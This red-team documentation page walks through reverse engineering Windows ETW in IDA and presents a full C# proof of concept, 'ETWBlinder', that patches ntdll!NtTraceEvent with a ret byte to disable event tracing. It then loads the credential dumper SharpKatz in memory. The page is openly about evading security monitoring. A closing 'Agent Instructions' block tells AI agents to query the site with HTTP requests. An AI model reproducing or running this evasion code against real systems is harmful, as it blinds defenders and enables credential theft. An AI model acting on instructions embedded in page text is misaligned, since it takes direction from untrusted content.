# Event Tracing for Windows (ETW)

## Primer

According to Microsoft, Event Tracing for Windows (ETW) is a kernel-level mechanism in Windows OS that enables tracing and logging of kernel & user-application events. Whether you realize it or not, ETW is deeply integrated in the entirety of Windows Internals to detect malicious use of .NET assemblies.&#x20;

<figure><img src="/files/QTkzO4JAK8U4QXj4wLXs" alt=""><figcaption></figcaption></figure>

## Alternative ETW Patching

From an offensive perspective, we know that ETW events are sent from userland, and these ETW events are issued from within a process that we control. Just like any other security model that relies on user-application to behave correctly, this will never end up in the favor of security, which brings us to the famous one-byte patch of ETW/AMSI.

### Traditional Patching

Majority of well-known ETW patching methods from [MDSec](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) & [binarly.io](https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html) suggest patching `ntdll!ETWEventWrite`. This is a trendy patching technique, so we want to avoid it.

<figure><img src="/files/viunLLq2zGMSi0BNwueM" alt=""><figcaption><p><a href="https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/">https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/</a></p></figcaption></figure>

### Locating ETW Events

First, fire up IDA Pro to look for potential candidates to patch. We'll start by analyzing `amsi.dll` and look for `AmsiScanBuffer` from the Export Address Table (EAT).

<figure><img src="/files/mOnZWJ0x9SqAQmlWh0GG" alt=""><figcaption></figcaption></figure>

In one of the branches, `AmsiScanBuffer` will end up calling some dodgy looking function like `WPP_SF_qqDqq`. Looking up this term from [MSDN](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing) suggests that Windows Software Trace Preprocessor (WPP) is related to ETW.

<figure><img src="/files/HWXoaLy4nQEwJtzxkZbW" alt=""><figcaption></figcaption></figure>

Continue to trace the function call from WPP will soon leads us to `TraceMessage`.

<figure><img src="/files/VlFMPBGuKNj6ibP7TffR" alt=""><figcaption></figcaption></figure>

As usual, we'll try seeking help from [MSDN](https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-tracemessage) since we have no idea what the API mean.

<figure><img src="/files/BJ5dEun6YBGI76vS6kfq" alt=""><figcaption></figcaption></figure>

Interesting enough, `TraceMessage` is an API that belongs in `advapi32.dll`.&#x20;

<figure><img src="/files/VEjId6kaJmGMLHvsndTs" alt=""><figcaption></figcaption></figure>

Open up `advapi32.dll` in IDA and continue following the API calls until we eventually reach a syscall stub.&#x20;

```
advapi32!TraceMessage ---> ntdll!EtwTraceMessage
```

<figure><img src="/files/kRysv2jyVAaAtXPV1I5c" alt=""><figcaption></figcaption></figure>

```
ntdll!EtwTraceMessage ---> ntdll!EtwTraceMessageVa
```

<figure><img src="/files/KGehBP9OJL0sSveVmkdH" alt=""><figcaption></figcaption></figure>

```
ntdll!EtwTraceMessageVa ---> ntdll!NtTraceEvent
```

<figure><img src="/files/MdPpfWc6BcfDa71dtin9" alt=""><figcaption></figcaption></figure>

At this point onwards, `ntdll!NtTraceEvent` is the lowest level possible that we can reach from user-land before a syscall, so we will be patching this API call to neutralize ETW.

<figure><img src="/files/BVpmBna02kozFrek3BiP" alt=""><figcaption></figcaption></figure>

To verify the level of granular coverage we have by patching `NtTraceEvent`, look up the xrefs of the API. Notice how most of the caller function is associated with `EtwEventWrite` anyway, so we are better off by patching `NtTraceEvent`.

<figure><img src="/files/tZKqFQJW6UW50CS7IRcu" alt=""><figcaption></figcaption></figure>

### PoC | GTFO

<figure><img src="/files/L1Hdg8Rw8W0i3aFalf6A" alt=""><figcaption></figcaption></figure>

{% code title="ETWBlinder.cs" %}

```csharp
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace ETWBlinder
{
    class Win32
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(
            IntPtr lpAddress,
            UIntPtr dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            // get location of ntdll.dll
            var hModule = Win32.LoadLibrary("ntdll.dll");
            Console.WriteLine("\n[>] Resolving Addresses");
            Console.WriteLine("    |-> Found ntdll.dll: 0x{0:X}", hModule.ToInt64());

            // find NtTraceEvent
            var hfunction = Win32.GetProcAddress(
                hModule,
                "NtTraceEvent");
            Console.WriteLine("    |-> Found NtTraceEvent: 0x{0:X}", hfunction.ToInt64());

            // opcode for ret instruction 
            var patch = new byte[] { 0xC3 };

            // mark as RWX
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                Win32.MemoryProtection.ExecuteReadWrite,
                out var oldProtect);
            Console.WriteLine("\n[>] Patching Memory");
            Console.WriteLine("    |-> Changing Protection to RWX!");

            // write a ret
            Marshal.Copy(patch, 0, hfunction, patch.Length);
            Console.WriteLine("    |-> ETW Patched!");

            // restore memory
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                oldProtect,
                out _);
            Console.WriteLine("    |-> Restoring Protection!");

            Console.WriteLine("\n[>] Running .NET Executable...\n");

            var bytes = File.ReadAllBytes(@"C:\Users\JesusCries\Desktop\Tools\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe");

            // load the assembly
            var assembly = Assembly.Load(bytes);

            // invoke its entry point with arguments
            assembly.EntryPoint.Invoke(null, new object[] { args });
        }
    }
}

```

{% endcode %}

### Extra Notes

At the point of writing, there seems to be another NT level API that is associated to ETW as well, known as `NtTraceControl`. However, it has lesser xrefs, meaning we will have lesser coverage by patching this.&#x20;

Not to forget, most of the caller e.g. `EtwRegisterSecurityProvider` and `EtwUserDescriptorType` seems to be responsible of setting up ETW itself rather than writing ETW events, so patching this API will provide no advantage to us from an evasion perspective.

<figure><img src="/files/jTXfjRCX3N8XfPjAfFH2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/red-teaming/evasion/event-tracing-for-windows-etw.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
